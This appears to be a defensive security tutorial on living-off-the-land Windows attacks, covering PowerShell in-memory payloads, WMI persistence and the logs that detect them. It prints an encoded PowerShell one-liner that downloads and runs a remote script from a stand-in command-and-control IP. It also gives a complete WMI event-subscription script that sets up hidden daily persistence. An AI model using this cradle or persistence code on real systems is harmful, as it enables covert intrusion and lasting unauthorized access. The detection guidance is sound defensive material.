In 2025, the Scattered Spider crew compromised a financial services firm without dropping a single executable. They lived entirely inside PowerShell, WMI, and scheduled tasks — tools every Windows admin trusts. That’s the core of a living-off-the-land (LotL) attack: abuse what’s already installed so your activity blends with normal operations.
How Attackers Weaponize PowerShell In Memory
LotL starts at initial access. The attacker — say, they’ve phished jmorris@corp-west.local — needs to run a payload without touching disk. PowerShell’s IEX (Invoke-Expression) combined with a remote download is the classic move.
Here’s what the malicious one-liner looks like after you catch it in Windows event log 4104 (PowerShell script block logging):
EventID: 4104
Host: WS-JMORRIS-01 (192.0.2.47)
User: CORP\jmorris
Timestamp: 2026-11-16 09:14:33 UTC
ScriptBlock:
powershell.exe -NoP -W Hidden -Enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADkAMgAuADAALgAyAC4ANgA2AC8AcwB0AGEAZwBlADEALgBwAHMAMQAnACkA
That Base64 blob decodes to IEX (New-Object Net.WebClient).DownloadString('https://192.0.2.66/stage1.ps1'). The script is fetched over HTTPS, executed in memory, and never written to disk. -NoP skips the execution policy. -W Hidden hides the console window.
What does a defender do next? Pivot immediately on that C2 IP (192.0.2.66). Pull all 4104 events touching that host in the last 72 hours and check for child processes spawned by powershell.exe. Lateral movement almost always follows within minutes.
WMI Persistence — The Rootkit You Don’t See
Once inside, attackers need persistence without a registry run key or startup file — both too easy to detect. WMI event subscriptions are the preferred alternative. They survive reboots, run as SYSTEM, and generate no obvious file artifacts.
Here’s what the attacker runs (again, entirely in memory via their PowerShell session):
# Attacker establishes WMI persistence on WS-JMORRIS-01
$FilterArgs = @{
Name = 'WindowsUpdateCheck'
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 9
AND TargetInstance.Minute = 15"
}
$Filter = Set-WmiInstance -Namespace root/subscription
-Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Name = 'WindowsUpdateCheck'
CommandLineTemplate = 'powershell.exe -NoP -W Hidden
-Enc SQBFAFgA...'
}
$Consumer = Set-WmiInstance -Namespace root/subscription
-Class CommandLineEventConsumer -Arguments $ConsumerArgs
Set-WmiInstance -Namespace root/subscription
-Class __FilterToConsumerBinding
-Arguments @{Filter=$Filter; Consumer=$Consumer}
This creates three WMI objects — a filter, a consumer, and a binding — that fire a PowerShell payload every day at 09:15. The name WindowsUpdateCheck is deliberate misdirection.
To hunt for this, query the WMI repository directly. Run this on any suspected host:
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-List
Name : WindowsUpdateCheck
Query : SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 9
AND TargetInstance.Minute = 15
Legitimate software rarely creates WMI subscriptions. Any result here deserves scrutiny. Cross-reference the consumer’s CommandLineTemplate — if it contains Base64 or reaches out to an external IP, you’ve confirmed persistence. Remove it with Remove-WmiObject and immediately isolate the host.
Detection Strategy: What Logs Actually Catch LotL
Signature-based AV won’t save you here. LotL attacks live and die by your telemetry quality. These are the sources that matter most:
- PowerShell Script Block Logging (Event 4104): Logs the actual deobfuscated script content. Enable it via GPO under Administrative Templates > Windows Components > PowerShell. Without this, you’re blind.
- Sysmon Event ID 20 (WmiEventConsumerToFilter): Fires every time a WMI consumer binding is created. One of the highest-fidelity alerts you can build.
- Process creation with parent-child anomalies (Sysmon ID 1):
winword.exespawningpowershell.exeis never legitimate. Build that correlation in your SIEM now. - Network connections from scripting hosts (Sysmon ID 3):
powershell.exeorwscript.exemaking outbound HTTPS connections to non-CDN IPs is a critical indicator.
Defenders also need to know about Atomic Red Team — an open-source library of adversary simulation tests mapped to MITRE ATT&CK. Each test is a small script you run in a lab to verify your detections fire before a real attacker does.
Attacker advantage in LotL: They need one missed log. You need comprehensive coverage across every host. Prioritize your crown-jewel servers first.
What To Do Now
Open Group Policy Management on your domain controller right now and enable PowerShell Script Block Logging for all endpoints. It costs nothing, requires no agents, and immediately gives you visibility into the most abused LotL technique in active use. Pair it with a Sysmon deployment using the SwiftOnSecurity config — you’ll have WMI subscription alerting running before end of day. Don’t wait for the incident to build the logging.
